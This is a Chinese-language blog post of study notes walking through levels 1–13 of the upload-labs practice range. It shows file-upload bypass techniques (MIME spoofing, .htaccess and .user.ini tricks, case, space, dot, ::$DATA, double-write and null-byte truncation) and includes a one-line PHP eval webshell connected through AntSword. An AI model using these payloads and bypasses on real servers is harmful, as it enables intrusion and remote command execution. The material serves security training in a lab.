news 2026/9/25 10:41:30

网络安全中级阶段学习笔记(八):upload靶场实战(1-13关)-文件上传漏洞绕过1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
网络安全中级阶段学习笔记(八):upload靶场实战(1-13关)-文件上传漏洞绕过1

目录

Pass-01(前端绕过)

Pass-02(MIME 验证)

Pass-03(黑名单绕过)

Pass-04(黑名单验证,.htaccess)

Pass-05(黑名单验证,.user.ini 绕过)

Pass-06(黑名单验证,大小写绕过)

Pass-077(黑名单验证,空格绕过)

Pass-088(黑名单验证,点号绕过)

Pass-09(黑名单验证,特殊字符::$DATA 绕过)

Pass-10(黑名单验证,. . 绕过)

Pass-111(黑名单验证,双写绕过)

Pass-12(get 0x00 截断)

Pass-13(post 0x00 截断)


Pass-01(前端绕过)

打开浏览器bp代理

打开bp进行拦截

创建一个文件编辑信息如下。保存为1.png

<?php phpinfo(); ?>

选择1.png文件点击上传

打开bp修改拦截的包,将上传的1.png修改为1.php。然后点击Forward放包

返回界面,右键复制链接

打开这个链接,出现如下代表成功上传解析成功

Pass-02(MIME 验证)

分析代码,可以看到,后端 PHP 代码只对 content-type 进行了检查 使用 bp抓包,修改上传的 PHP 的 content-type 为 image/png

上传1.php

修改上传的 PHP 的 content-type 为 image/png

复制链接

上传解析成功

Pass-03(黑名单绕过)

分析源代码可知,存在黑名单,但黑名单以外的后缀仍可上传,尝试 php3,php5,phtml 等后缀
打开phpstudy,编辑httpd-conf

搜索AddType application/x-httpd-php,把这一行前面的#删除,并且后面显示的.php和.phtml就是可以识别成php文件的后缀,可以自行添加其他的php5等其他的

上传文件

修改文件后缀为.phtml,然后放包

复制链接

我这边打开链接就直接把那个文件下载了,无法正常解析

如果打开链接直接自动下载文件就是php版本不行,换一个低版本的,然后点击重启php服务器

重新打开链接图片成功

Pass-04(黑名单验证,.htaccess)

这次的过滤更加严格,但发现还有一个 .htaccess 没有过滤
AddType application/x-httpd-php .jpg这个指令代表着.jpg文件会当做php来解析
,意思是把所有文件都解析为php文件来执行。
新建一个.htaccess文件。写入下面的任意一行代码,第一行代码是之后上传所有的.jpg文件都识别成php文件。
AddType application/x-httpd-php .jpg

第二行代码是之后上传的所有的任意文件都识别解析成php文件

SetHandler application/x-httpd-php

我这里以第二行为例

上传.htaccess文件

继续上传1.png文件

复制链接

打开这个链接,发现这个.png也被当成php文件了,出现下面界面代表成功了

之后记得把.htaccess文件删了,不然后面的关卡上传图片都可以直接通过

Pass-05(黑名单验证,.user.ini 绕过)

分析源码,发现连 .htaccess 也给过滤了,但没有过滤 .user.ini 文件
先上传一个以 auto_prepend_file=1.gif 为内容的.user.ini 文件【用户 自定义的配置文件】。.user.ini 文件里的意思是:所有的 php 文件都 自动包含 1.gif 文件,.user.ini 相当于一个用户自定义的 php.ini。然后 再上传一个内容为一句话木马的命名为 1.gif 的文件。上传成功之后, 用 webshell 管理工具添加该图片的路径,但该图片名改为当前目录 下的 php 文件,例如 readme.php,输入密码连接成功。
创建.user.ini文件,输入下面内容
auto_prepend_file=1.gif

创建1.gif木马,写入一句话木马

<?php @eval($_POST["CMD"]) ?>

上传.user.ini文件

然后上传1.gif,并且复制图片链接

打开webshell 管理工具

需要工具的可以点击👆下载

我这里使用中国蚁剑为例

右键空白界面点击添加数据

填入1.gif图片的链接,但是把1.gif修改为readme.php(这个文件一般是说明文件,一般的项目目录下都有)

链接密码是CMD。这个是我们自己在1.gif里面设置的,其他的默认,点击左上角的添加

添加成功就会有一条记录,双击即可打开项目文件,但是我这里出现了错误,应该是php服务器版本的问题,修改版本

点击左上角添加,双击这个链接,发现链接错误,把phpstudy版本切换为带nts的版本就行了

然后再次双击刚刚添加的链接就进来了

右键这条记录选择虚拟终端

打开终端就如同打开服务器的终端,可以任意输入命令(当然仅限于自己的靶场,真实的肯定不可以),比如输入ipconfig

Pass-06(黑名单验证,大小写绕过)

这一关同样是后端黑名单,同时过滤掉.htaccess 和.ini。但是没有 使用 strtolower()函数,可以使用大小写绕过黑名单 把.php 格式改为 .Php 上传上去之后,就会自动解析为.php
上传文件

抓包对文件后缀进行修改,修改为1.Php然后放包

复制链接

这里打开图片链接出现一个错误

应该是版本问题,更改phpstudy版本为5.4.45

重新打开网址成功了

Pass-077(黑名单验证,空格绕过)

这一关黑名单,没有使用 trim()去除空格,可以使用空格绕过黑名单抓包
上传文件

抓包修改文件名,在文件名后面添加一个空格符号,然后放包

打开图片链接显示成功

Pass-088(黑名单验证,点号绕过)

这一关黑名单,没有使用 deldot()过滤文件名末尾的点,可以使用文件名后加. 进行绕过

上传文件

抓包修改,文件后面添加一个点符号,然后放包

打开图片链接,显示成功

Pass-09(黑名单验证,特殊字符::$DATA 绕过)

这一关黑名单,没有对::$DATA进行处理 ,可以使用::$DATA进行 处理,可以使用::$DATA进行处理,可以使用::$DATA绕过黑名单
上传文件

抓包修改,文件后面添加

::$DATA

然后放包

复制链接,打开链接报错,去掉::$data符号

刷新网页,显示成功

Pass-10(黑名单验证,. . 绕过)

这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文 件名进行 filename= deldot( file_name = deldot( filen ame=deldot(file_name) 操作去除文件名末尾的点,构造后缀绕过黑名单 ,deldot()函数从后向前检测,当检测到末尾的第一个点时 会继续它的检测,但是遇到空格会停下来
上传文件

抓包,修改文件,在文件后面添加点 空格 点,然后放包

打开图片链接,显示成功

Pass-111(黑名单验证,双写绕过)

上传文件
抓包修改,在后缀php中间任意两个字母中间写一个php,比如phphpp或者pphphp
打开图片链接,显示成功

Pass-12(get 0x00 截断)

GET 0x00 截断
但需要php 版本<5.3.4,并且magic_quotes_gpc关闭。
将php服务器版本设置为5.2.17
取消勾选下面的gpc,然后重启服务器
上传文件
抓包修改,第一行的updata/的后面添加1.php%00
然后下面的文件名改为可识别的.png
打开图片链接,去掉1.php后面的字符

刷新网页显示成功

Pass-13(post 0x00 截断)

这一关白名单,文件上传路径拼接生成,而且使用了 post 发送的数据进行拼接, 我们可以控制 post 数据进行 0x00 截断绕过白名单。POST 不会对里面的数据自动解码,需要在 Hex 中修改。
上传文件进行抓包,按照下面箭头修改如下两个区域

点击Hex

找到+对应的编码2b,将他修改为00,然后放包

打开图片链接,同样需要删除1.php后面的字符

刷新网页显示成功

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/24 8:56:55

springboot+jspm大学生教务评教系统的设计与实现_h6604vab

目录已开发项目效果实现截图开发技术介绍系统开发工具&#xff1a;核心代码参考示例1.建立用户稀疏矩阵&#xff0c;用于用户相似度计算【相似度矩阵】2.计算目标用户与其他用户的相似度系统测试总结源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&…

作者头像 李华
网站建设 2026/9/24 8:56:44

水下机器人控制与路径跟踪仿真

增量PID轨迹跟踪 MATLAB仿真 水下机器人控制 无人船无人艇 USV路径跟随大家好&#xff01;今天我将和大家分享一个有趣的主题&#xff1a;增量PID轨迹跟踪在水下机器人中的应用。这个主题结合了控制理论、算法优化和实际工程应用&#xff0c;非常值得探讨。首先&#xff0c;我想…

作者头像 李华
网站建设 2026/9/25 0:09:44

Pr加转场总生硬又耗时?怎么才能1键做出丝滑高级转场?

转场是视频镜头衔接的 “润滑剂”—— 自然的转场能让叙事更流畅&#xff0c;还能靠创意动效强化视频风格&#xff0c;比如 vlog 的柔和过渡、电商视频的产品聚焦转场、综艺的趣味转场。但很多新手在 Pr 里加转场时&#xff0c;总陷入 “瞎翻效果半小时、调参数越调越生硬、批量…

作者头像 李华
网站建设 2026/9/25 0:09:37

智能工厂的效率密码:为何物流集成是关键变量?

随着制造业的不断发展&#xff0c;智慧物流系统集成成为提升制造效率的重要手段。它将智能制造解决方案与智能工厂解决方案紧密结合&#xff0c;有效推动生产流程的优化。结合智能包装流水线&#xff0c;企业能够创新包装模式&#xff0c;提升包装效率。从数据实时共享到资源优…

作者头像 李华
网站建设 2026/9/24 18:21:46

隐藏Gemini脚本

油猴脚本&#xff1a;// UserScript // name 强力隐藏 Gemini Logo // namespace http://tampermonkey.net/ // version 2.0 // description 通过多种特征&#xff08;链接、标签、位置&#xff09;强力隐藏左上角的 Gemini Logo&#xff0c;包含自动检测机制…

作者头像 李华
网站建设 2026/9/25 0:09:28

【计算机毕设】基于深度学习的人体摔倒识别方法与实现

&#x1f49f;博主&#xff1a;程序员&#xff1a;小俊SDN作者、博客专家、全栈领域优质创作者 &#x1f49f;专注于计算机毕业设计&#xff0c;大数据、深度学习、Java、小程序、python、安卓等技术领域 &#x1f4f2;文章末尾获取源码数据库 &#x1f308;还有大家在毕设选题…

作者头像 李华